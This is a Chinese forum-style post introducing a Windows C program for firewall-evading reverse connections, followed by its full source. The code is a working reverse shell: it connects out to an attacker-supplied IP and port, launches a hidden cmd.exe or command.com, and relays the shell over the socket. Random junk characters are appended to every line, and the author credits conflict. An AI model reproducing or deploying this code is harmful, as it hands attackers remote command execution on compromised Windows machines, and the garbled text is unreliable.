这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 i564<1`x
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/* ============================== +GFK!Pf
Rebound port in Windows NT ^M7pCetjdW
By wind,2006/7 Q'R*a(pm
===============================*/ K/IG6s;Xj
#include pGT?=/=*
#include i+4!nf{K
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#pragma comment(lib,"wsock32.lib") c^W \0
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void OutputShell(); x/,(G~
SOCKET sClient; Qm5Sf=E7Q
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zTb,h
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void main(int argc,char **argv) bd[%=5
{ uj^l&"
WSADATA stWsaData; mm9xO%
int nRet; L/7YI\C2
SOCKADDR_IN stSaiClient,stSaiServer; fiZq C?(
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if(argc != 3) qJ%AbdOI8
{ ^7,`6g
printf("Useage:\n\rRebound DestIP DestPort\n"); {qbxiL-
return; SioP`*,}
} Msl8o
c
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WSAStartup(MAKEWORD(2,2),&stWsaData); E.%_i8s
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7J [s5'~|
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stSaiClient.sin_family = AF_INET; =,G^GMi'
stSaiClient.sin_port = htons(0); L1u(\zw
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); z=pGu_`2
# "KaRh
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :WHbwu,L$
{
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printf("Bind Socket Failed!\n"); 0.lOSAq
return; PsCr[\Ul
} AroYDR,3+
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stSaiServer.sin_family = AF_INET; CaqqH`/E4
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); L{uQ:;w1
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); / &#b*46
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hB??~>i3
{ p$_X\,F
printf("Connect Error!"); P?$Iht.^
return; EU4j'1!&g<
} Z[G:
OutputShell(); (MnK
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} qfa[KD)!aB
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void OutputShell() 5KRI}f
{ H`EsFKw\%
char szBuff[1024]; hYY-Eq4TC
SECURITY_ATTRIBUTES stSecurityAttributes; ,Uu#41ZOKL
OSVERSIONINFO stOsversionInfo; 6):iu=/i/
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; gSt'<v
STARTUPINFO stStartupInfo; X].Igb)2
char *szShell; %IHra6
PROCESS_INFORMATION stProcessInformation; 3U&rK)F
unsigned long lBytesRead; .j^=]3
m 7/b.B}
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^;mnP=`l[
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); xY$@^(Q\
stSecurityAttributes.lpSecurityDescriptor = 0; 5~\GAjf
stSecurityAttributes.bInheritHandle = TRUE; %W,V~kb
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); HrH!
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); DxJY{e9
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'q, L*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !B:wzb_
stStartupInfo.wShowWindow = SW_HIDE; +MvO+\/
stStartupInfo.hStdInput = hReadPipe; ^_!2-QY.~
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H-5h-p k
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GetVersionEx(&stOsversionInfo); #S') i1;
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switch(stOsversionInfo.dwPlatformId) h7cE"m
{ 2R>!Wj'G+o
case 1: DhzmC
szShell = "command.com"; Tv /?-`Y
break; 8Q\ T,C
default: Xn*>qm
szShell = "cmd.exe"; 8Y&_X0T|
break; se`^g
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} ve@E.`
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); t)^18 z
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send(sClient,szMsg,77,0); bPUldkB:
while(1) Ys+NIV#Q
{ [['
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); rkWiGiisM
if(lBytesRead) /j;HM[
{ erdA?
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #v}pn2g%>
send(sClient,szBuff,lBytesRead,0); +5qY*$dn
} EVW\Z 2N.
else 2b^E8+r9
{ ">x"BP
lBytesRead=recv(sClient,szBuff,1024,0); WIYWql>*
if(lBytesRead<=0) break; dj5@9X
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Twq, 6X-
} `!l Qd}W
} RR[1mM
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return; bo40s9"-*W
}